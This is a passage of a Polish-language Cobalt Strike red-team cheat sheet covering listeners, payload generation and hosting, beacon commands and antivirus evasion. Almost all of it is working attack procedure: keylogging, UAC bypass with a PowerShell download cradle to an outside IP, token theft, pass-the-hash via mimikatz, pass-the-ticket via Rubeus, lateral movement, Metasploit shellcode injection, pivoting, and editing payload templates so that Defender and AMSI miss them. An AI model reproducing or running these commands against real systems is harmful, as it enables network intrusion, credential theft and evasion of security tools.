Cobalt Strike -> Listeners -> Add/Edit, a następnie możesz wybrać, gdzie nasłuchiwać, jakiego rodzaju beacon użyć (http, dns, smb...) i więcej.
Peer2Peer Listeners
Beacony tych listenerów nie muszą komunikować się bezpośrednio z C2, mogą komunikować się z nim przez inne beacony.
Cobalt Strike -> Listeners -> Add/Edit, a następnie musisz wybrać beacony TCP lub SMB.
Beacon TCP ustawi listener na wybranym porcie. Aby połączyć się z beaconem TCP, użyj polecenia connect <ip> <port> z innego beacona.
Beacon smb będzie nasłuchiwać na pipename o wybranej nazwie. Aby połączyć się z beaconem SMB, musisz użyć polecenia link [target] [pipe].
Generowanie i hostowanie payloadów
Generowanie payloadów w plikach
Attacks -> Packages ->
HTMLApplication dla plików HTA
MS Office Macro dla dokumentu biurowego z makrem
Windows Executable dla .exe, .dll lub usługi .exe
Windows Executable (S) dla stageless .exe, .dll lub usługi .exe (lepsze stageless niż staged, mniej IoCs)
Generowanie i hostowanie payloadów
Attacks -> Web Drive-by -> Scripted Web Delivery (S) To wygeneruje skrypt/wykonywalny do pobrania beacona z cobalt strike w formatach takich jak: bitsadmin, exe, powershell i python.
Hostowanie payloadów
Jeśli już masz plik, który chcesz hostować na serwerze www, po prostu przejdź do Attacks -> Web Drive-by -> Host File i wybierz plik do hostowania oraz konfigurację serwera www.
Opcje Beacona
# Wykonaj lokalny plik .NETexecute-assembly</path/to/executable.exe># Zrzuty ekranuprintscreen# Zrób pojedynczy zrzut ekranu metodą PrintScrscreenshot# Zrób pojedynczy zrzut ekranuscreenwatch# Zrób okresowe zrzuty ekranu pulpitu## Przejdź do View -> Screenshots, aby je zobaczyć# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes, aby zobaczyć naciśnięte klawisze# skanowanie portówportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Wstrzyknij akcję skanowania portów do innego procesuportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Importuj moduł Powershellpowershell-importC:\path\to\PowerView.ps1powershell<poprostunapiszpoleceniepowershelltutaj># Uwierzytelnianie użytkownika## Generowanie tokena z poświadczeniamimake_token [DOMAIN\user] [password] #Utwórz token do podszywania się pod użytkownika w siecils \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ na komputerzerev2self# Zatrzymaj używanie tokena wygenerowanego przez make_token## Użycie make_token generuje zdarzenie 4624: Konto zostało pomyślnie zalogowane. To zdarzenie jest bardzo powszechne w domenie Windows, ale można je zawęzić, filtrując według typu logowania. Jak wspomniano powyżej, używa LOGON32_LOGON_NEW_CREDENTIALS, który jest typem 9.# Ominięcie UACelevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## Kradzież tokena z pid## Jak make_token, ale kradnie token z procesusteal_token [pid] # To również jest przydatne do działań sieciowych, a nie lokalnych## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować swój obecny token". Dlatego wyjście Beacona mówi Podszywany <current_username> - podszywa się pod nasz własny sklonowany token.ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ na komputerzerev2self# Zatrzymaj używanie tokena z steal_token## Uruchom proces z nowymi poświadczeniamispawnas [domain\username] [password] [listener] #Zrób to z katalogu z dostępem do odczytu, np.: cd C:\## Jak make_token, to wygeneruje zdarzenie Windows 4624: Konto zostało pomyślnie zalogowane, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Szczegóły będą zawierały użytkownika wywołującego (TargetUserName) i użytkownika, pod którego się podszywa (TargetOutboundUserName).## Wstrzyknij do procesuinject [pid] [x64|x86] [listener]## Z punktu widzenia OpSec: Nie wykonuj wstrzykiwania międzyplatformowego, chyba że naprawdę musisz (np. x86 -> x64 lub x64 -> x86).## Przekaż hash## Ten proces modyfikacji wymaga patchowania pamięci LSASS, co jest działaniem wysokiego ryzyka, wymaga lokalnych uprawnień administratora i nie jest zbyt wykonalne, jeśli włączony jest Protected Process Light (PPL).pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Przekaż hash przez mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Bez /run, mimikatz uruchomi cmd.exe, jeśli działasz jako użytkownik z pulpitem, zobaczy powłokę (jeśli działasz jako SYSTEM, jesteś w porządku)steal_token<pid>#Kradzież tokena z procesu utworzonego przez mimikatz## Przekaż bilet## Żądanie biletuexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Utwórz nową sesję logowania do użycia z nowym biletem (aby nie nadpisywać skompromitowanego)make_token<domain>\<username>DummyPass## Zapisz bilet na maszynie atakującego z sesji powłoki & załaduj go[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Przekaż bilet z SYSTEM## Wygeneruj nowy proces z biletemexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## Kradnij token z tego procesusteal_token<pid>## Ekstrakcja biletu + Przekaż bilet### Lista biletówexecute-assemblyC:\path\Rubeus.exetriage### Zrzut interesującego biletu według luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Utwórz nową sesję logowania, zanotuj luid i processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Wstaw bilet w wygenerowanej sesji logowaniaexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Na koniec, ukradnij token z tego nowego procesusteal_token<pid># Ruch Lateralny## Jeśli token został utworzony, zostanie użytyjump [method] [target] [listener]## Metody:## psexec x86 Użyj usługi do uruchomienia artefaktu Service EXE## psexec64 x64 Użyj usługi do uruchomienia artefaktu Service EXE## psexec_psh x86 Użyj usługi do uruchomienia jednego wiersza PowerShell## winrm x86 Uruchom skrypt PowerShell przez WinRM## winrm64 x64 Uruchom skrypt PowerShell przez WinRMremote-exec [method] [target] [command]## Metody:## psexec Zdalne wykonanie przez Menedżera Kontroli Usług## winrm Zdalne wykonanie przez WinRM (PowerShell)## wmi Zdalne wykonanie przez WMI## Aby wykonać beacona za pomocą wmi (nie jest to w poleceniu jump), po prostu załaduj beacona i uruchom gobeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Przekaż sesję do Metasploit - Przez listener## Na hoście metaploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Na cobalt: Listeners > Dodaj i ustaw Payload na Foreign HTTP. Ustaw Host na 10.10.5.120, Port na 8080 i kliknij Zapisz.beacon> spawnmetasploit## Możesz uruchomić tylko sesje x86 Meterpreter z obcym listenerem.# Przekaż sesję do Metasploit - Przez wstrzykiwanie shellcode## Na hoście metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Uruchom msfvenom i przygotuj listener multi/handler## Skopiuj plik bin do hosta cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Wstrzyknij shellcode metasploit do procesu x64# Przekaż sesję metasploit do cobalt strike## Wygeneruj stageless Beacon shellcode, przejdź do Attacks > Packages > Windows Executable (S), wybierz pożądany listener, wybierz Raw jako typ wyjścia i wybierz Użyj x64 payload.## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany shellcode cobalt strike.# Pivoting## Otwórz proxy socks w teamserverbeacon> socks1080# Połączenie SSHbeacon> ssh10.10.17.12:22usernamepassword
Unikanie AV
Zestaw artefaktów
Zwykle w /opt/cobaltstrike/artifact-kit możesz znaleźć kod i wstępnie skompilowane szablony (w /src-common) payloadów, które cobalt strike zamierza użyć do generowania binarnych beaconów.
Używając ThreatCheck z wygenerowanym backdoorem (lub po prostu z skompilowanym szablonem), możesz znaleźć, co powoduje wyzwolenie defendera. Zwykle jest to ciąg znaków. Dlatego możesz po prostu zmodyfikować kod, który generuje backdoora, aby ten ciąg nie pojawił się w finalnym pliku binarnym.
Po modyfikacji kodu po prostu uruchom ./build.sh z tego samego katalogu i skopiuj folder dist-pipe/ do klienta Windows w C:\Tools\cobaltstrike\ArtifactKit.
Nie zapomnij załadować agresywnego skryptu dist-pipe\artifact.cna, aby wskazać Cobalt Strike, aby używał zasobów z dysku, które chcemy, a nie tych załadowanych.
Zestaw zasobów
Folder ResourceKit zawiera szablony dla skryptowych ładunków Cobalt Strike, w tym PowerShell, VBA i HTA.
Używając ThreatCheck z szablonami, możesz znaleźć, co nie podoba się defenderowi (w tym przypadku AMSI) i zmodyfikować to:
Modyfikując wykryte linie, można wygenerować szablon, który nie zostanie wykryty.
Nie zapomnij załadować agresywnego skryptu ResourceKit\resources.cna, aby wskazać Cobalt Strike, aby używał zasobów z dysku, które chcemy, a nie tych załadowanych.